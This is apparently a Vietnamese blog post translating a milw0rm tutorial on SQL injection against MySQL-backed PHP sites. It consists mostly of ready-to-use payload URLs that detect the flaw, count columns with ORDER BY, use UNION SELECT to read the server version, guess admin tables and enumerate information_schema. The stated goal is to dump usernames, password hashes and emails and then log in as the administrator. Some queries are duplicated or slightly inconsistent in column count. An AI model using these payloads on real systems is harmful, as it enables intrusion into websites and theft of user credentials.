Full SQL Injection Tutorial

Tutorial version English : http://milw0rm.com/papers/202
Đầu tiên : thế nào là SQL Injection

Đây là một trong những lỗi mà thường gặp nhất ở những ứng dụng web ngày nay.
Nó cho phép kẻ tấn công thực thi câu truy vấn trong cơ sở dữ liệu ngay trên địa chỉ website(url) và kiếm được những thông

tin cho phép truy cập.
và một số thông tin bí mật (một cách nhanh chóng).

1.SQL Inject
2.Blind SQL Injection (phần khó nhất).



Vậy hãy bắt đầu

1). Kiểm tra có lỗi hay không?

Đầu tiên chúng ta có 1 số trang web dạng như thế này:
http://www.site.com/news.php?id=5


Bây giờ chúng ta sẽ kiểm tra xem có lỗi hay không? đầu tiên ta thêm kí tự ' vào url

sau khi thêm ta có :
Trích dẫn
http://www.site.com/news.php?id=5'


chúng ta sẽ nhận được 1 số thông báo lỗi ở trang web như:

Trích dẫn
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."


hoặc 1 số thông báo tương tự như vậy.

Điều này có nghĩa là có thể tấn công bằng SQL Injection.

2). Tìm số lượng cột:

Để tìm số lượng cột chúng ta sử dụng từ : ORDER BY (hỏi cơ sở dữ liệu xem rằng có bao nhiêu kết quả khi đếm)

vây làm cách nào để sử dụng câu lệnh này? chúng ta sẽ đếm cho đến khi nào nhận được lỗi

http://www.site.com/news.php?id=5 order by 1/* <-- không có lỗi

http://www.site.com/news.php?id=5 order by 2/* <-- không có lỗi

http://www.site.com/news.php?id=5 order by 3/* <-- không có lỗi

http://www.site.com/news.php?id=5 order by 4/* <-- LỖI . chúng ta có thể sẽ nhận được lại thông báo từ website như là :

Unknown column '4' in 'order clause' hoặc 1 số lỗi tương tự như vậy).

Điều này cho chúng ta biết rằng có 3 cột, chúng ta nhận được lỗi ở cột thứ 4 vì thực chất không có cột này --> phát sinh lỗi.

3). Kiểm tra chức năng : UNION

Với lệnh : UNION chúng ta có thể chọn được nhiều dữ liệu trong 1 câu lệnh sql.

Ta có:

http://www.site.com/news.php?id=5 union all select 1,2,3/*
(Ta tìm được có 3 cột ở phần 2.)

nếu chúng ta có thể nhìn thấy 1 vài số như : 1 ; 2 hoặc 3 ở trên màn hình web . Tức là câu lệnh UNION hoạt động :)

4). Kiểm tra phiên bản(version) của MySQL:

http://www.site.com/news.php?id=5 union all select 1,2,3/*
Chú ý: nếu /* không làm việc hoặc nhận được lỗi, hãy thử lại với 2 kí tự -- . Nó là 1 chú thích(trong sql) và rất quan trọng để

câu truy vấn làm việc đúng.

Ở bước 3, nếu chúng ta nhìn thấy con số 2 ở trên màn hình website, chúng ta sẽ kiểm tra version tại đó.

Ta thay thế số 2 với từ @@version hoặc version() và có thể nhận được 1 vài số như: 4.1.33-log (SQL version 4)hoặc 5.0.45

(SQL version 5)hoặc tương tự.

Sau khi thay vào sẽ được như sau:

http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

nếu bạn không nhận được thông tin nào từ việc lấy thông tin kia, chẳng lẽ pó tay?

không, chúng ta cần sử dụng lệnh : convert()

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

hoặc là với hex() và undex() sẽ có:



http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

và bạn sẽ lấy được thông tin phiên bản MySQL.




5). Lấy bảng và cột tên:

Có 2 loại phiên bản thông dụng hiện nay là :
< 5 (ví dụ như : 4.1.33, 4.1.12,...)
> 5 (sẽ được hướng dẫn khai thác ở phần sau)

--- Đầu tiên là với version <5:

một số tên bảng phổ biến là: user(s), admin(s). member(s),...
một số tên cột phổ biên là: username, user, usr, user_name, password, pass, passwd, pwd etc...

trở lại phần 2, ta nhận được số 2 trong việc lấy số lượng cột,

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*

nếu có bảng admin trong cơ sở dữ liệu, thì ta tiếp theo lấy tên cột:

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*
(nếu có lỗi, hãy thử thay bằng 1 số tên khác như : user, usr, user_name etc... hoặc bất cứ cái gì bạn nghĩ ra).

nếu mọi việc đều tốt đẹp, trên màn hình sẽ xuất hiện tài khoản của người quản trị như : admin, superadmin etc...

giờ kiểm tra xem cột mật khẩu có tồn tại không/

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*

(nếu có lỗi -- không nhận được kết quả, bạn hãy thử bằng 1 vài tên khác như :password, pass, passwd, pwd etc...)

ta có thể nhận được mật khẩu dạng chữ hoặc dạng đã được mã hóa (có thể bằng MD5,sha-1,rot13,mysqlhash,...) nó phụ

thuộc vào cách người ta thiết lập cơ sở dữ liệu.

và công việc kết thúc việc truy vấn:

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Trong đó: 0x3a là giá trị hex của dấu :(hai chấm).

còn 1 số cách khác như hex với ascii, : có char(58)

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

và chúng ta sẽ nhận được kết quả username:password trên màn hình. Ví dụ như : admin:admin hoặc

admin:21232f297a57a5a743894a0e4a801fc3 (MD5 Hash của mật khẩu: admin).

khi có các thông tin này, bạn có thể đăng nhập vào với tài khoảng admin hoặc 1 superuser.

nếu bạn không tài nào đoán được tên bảng, bạn có thể thử với tên: mysql.user (mặc định).

sẽ là :
Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from mysql.user/*

Trích dẫn

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

và bạn sẽ lấy được thông tin phiên bản MySQL.


6). MySQL 5

Cũng giống cách tôi đã giải thích cách để có được tên bảng và tên cột nhưng mà là lấy từ information_schema
trong MySQL > 5

chúng ta biết : information_schema có chứa tất cả các cột trong bảng và cơ sở dữ liệu.

để lấy bảng ta sử dụng : table_name và information_schema.tables

Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*


chúng ta thay thế số 2 với tên : table_name để lấy bảng thứ nhất từ information_schema.tables.

giờ chúng ta thêm câu LIMIT vào cuối câu truy vấn để tìm kiếm cho ra tất cả các bảng.

Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*


Lưu ý rằng tôi đặt 0,1 tức là nhận được 1 kết quả từ 0.

tiếp tục, để hiện bảng thứ 2, ta thay đổi limit 0,1 thành limit 1,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

bảng thứ 2 hiện ra.

để kiếm bảng thứ 3, ta đổi thành limit 2,1

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

lập lại cho đến khi bạn nhân được thông tin bạn cần như : db_admin, poll_user, auth, auth_user etc... :)

để lấy tên cột thì cách thức cũng giống như vậy. nhưng là từ information_schema.columns và column_name

Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

cột thứ nhất hiện ra.
để cột thứ 2 hiện ra ta đổi từ limit 0,1 thành limit 1,1

Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*


lập đi lập lại cho đến khi bạn nhận được 1 số tên cột đáng chú ý như:

username, user, login, password, pass, passwd etc... :)

nếu bạn muốn hiển thị tên cột xem nó cụ thể nằm trong bảng nào, sử dụng câu truy vấn sau (mệnh đề : where).

Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where

table_name='users'/*


giờ chúng ta có thể hiển thị tên cột trong bảng : người dùng. Bằng cách giới hạn, chúng ta có thể liệt kê tất cả các cột trong bảng: người sử dụng.

Những câu lệnh trên có thể không sử dụng được nếu Module : Magic Quotes bật (chặn các truy vấn bất hợp pháp).

giả dụ chúng ta đã có được 3 cột là : user, pass và email. Làm sao để lấy thông tin ở các cột này khi magic Quotes bật nhỉ?

chúng ta sẽ sử dụng concat() , một cách thật dễ dàng.

Trích dẫn
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*


chúng ta sẽ nhận được thông tin có dạng : user:pass:email từ bảng users.

ví dụ : admin:hash:whatever@blabla.com

Đó là tất cả những gì có ở phần này :)

No comments:

Post a Comment

+ Đăng Nhận Xét Của Bạn Về Bài Viết.
+ Sử Dụng ID Mở, Ẩn Danh Hoặc Account Google,yahoo v v..
+ Yêu Cầu Các Bạn Viết Tiếng Việt Có Dấu.

Cảm Ơn Bạn Đã Quan Tâm.